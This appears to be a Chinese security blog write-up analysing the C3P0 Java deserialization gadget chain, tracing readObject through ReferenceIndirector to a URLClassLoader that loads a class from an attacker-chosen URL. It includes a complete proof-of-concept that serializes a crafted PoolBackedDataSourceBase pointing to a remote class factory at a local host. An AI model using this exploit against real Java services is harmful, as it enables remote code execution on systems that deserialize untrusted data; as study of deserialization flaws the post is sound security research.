C3P0反序列化链

C3P0反序列化链

正文

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate、Spring等。------su18

入口点是PoolBackedDataSourceBase,来看他readObject方法

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    short version = ois.readShort();
    switch (version) {
        case 1:
            Object o = ois.readObject();
            if (o instanceof IndirectlySerialized) {
                o = ((IndirectlySerialized)o).getObject();
            }

            this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
            this.dataSourceName = (String)ois.readObject();
            this.factoryClassLocation = (String)ois.readObject();
            this.identityToken = (String)ois.readObject();
            this.numHelperThreads = ois.readInt();
            this.pcs = new PropertyChangeSupport(this);
            this.vcs = new VetoableChangeSupport(this);
            return;
        default:
            throw new IOException("Unsupported Serialized Version: " + version);
    }
}

先读了一个version,当version为1,读入一个对象,判断是否是IndirectlySerialized类的对象,如果是则调用getObject方法。这个类有一个实现类是ReferenceIndirector,getObject方法如下

public Object getObject() throws ClassNotFoundException, IOException {
    try {
        InitialContext initialContext;
        if (this.env == null) {
            initialContext = new InitialContext();
        } else {
            initialContext = new InitialContext(this.env);
        }

        Context nameContext = null;
        if (this.contextName != null) {
            nameContext = (Context)initialContext.lookup(this.contextName);
        }

        return ReferenceableUtils.referenceToObject(this.reference, this.name, nameContext, this.env);
    } catch (NamingException var3) {
        if (ReferenceIndirector.logger.isLoggable(MLevel.WARNING)) {
            ReferenceIndirector.logger.log(MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", var3);
        }

        throw new InvalidObjectException("Failed to acquire the Context necessary to lookup an Object: " + var3.toString());
    }
}

env和contextName都为空的情况下,调用referenceToObject,跟进

public static Object referenceToObject(Reference ref, Name name, Context nameCtx, Hashtable env) throws NamingException {
    try {
        String fClassName = ref.getFactoryClassName();
        String fClassLocation = ref.getFactoryClassLocation();
        Object cl;
        if (fClassLocation == null) {
            cl = ClassLoader.getSystemClassLoader();
        } else {
            URL u = new URL(fClassLocation);
            cl = new URLClassLoader(new URL[]{u}, ClassLoader.getSystemClassLoader());
        }

        Class fClass = Class.forName(fClassName, true, (ClassLoader)cl);
        ObjectFactory of = (ObjectFactory)fClass.newInstance();
        return of.getObjectInstance(ref, name, nameCtx, env);
    } catch (Exception var9) {
        if (logger.isLoggable(MLevel.FINE)) {
            logger.log(MLevel.FINE, "Could not resolve Reference to Object!", var9);
        }

        NamingException ne = new NamingException("Could not resolve Reference to Object!");
        ne.setRootCause(var9);
        throw ne;
    }
}

获取了引用对象的类名和位置。使用了 URLClassLoader 从 URL 中加载了类并实例化。所以只需要把类名和恶意的url构造进去即可。

image-20220823151923143
image-20220823152115751

这里有个小坑哈哈,有段时间没学java了,这个恶意类需要从本地删除,不然他如果本地能找到就不会从url那去找了,我开始疑惑了半天,发现url乱写也能弹计算器。

构造

直接拿别的师傅的poc了吧,自己写太麻烦哩

package c3p0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0 {
    public static void main(String[] args) throws Exception{
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        PoolSource poolSource = new PoolSource("Demo1","http://127.0.0.1:8000/");
        Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSourceField.setAccessible(true);
        connectionPoolDataSourceField.set(poolBackedDataSourceBase,poolSource);
        serialize(poolBackedDataSourceBase,"2.bin");
        unserialize("2.bin");
    }

    private static class PoolSource implements ConnectionPoolDataSource, Referenceable {
        private String classFactory;
        private String classFactoryLocation;
        public PoolSource(String classFactory, String classFactoryLocation){
            this.classFactory = classFactory;
            this.classFactoryLocation = classFactoryLocation;
        }
        @Override
        public Reference getReference() throws NamingException {
            return new Reference("feng",this.classFactory,this.classFactoryLocation);
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
    public static void serialize(Object obj,String fileName) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream(fileName));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

参考

https://su18.org/post/ysoserial-su18-5/

https://javasec.org/javase/JNDI/

https://blog.csdn.net/rfrder/article/details/123208761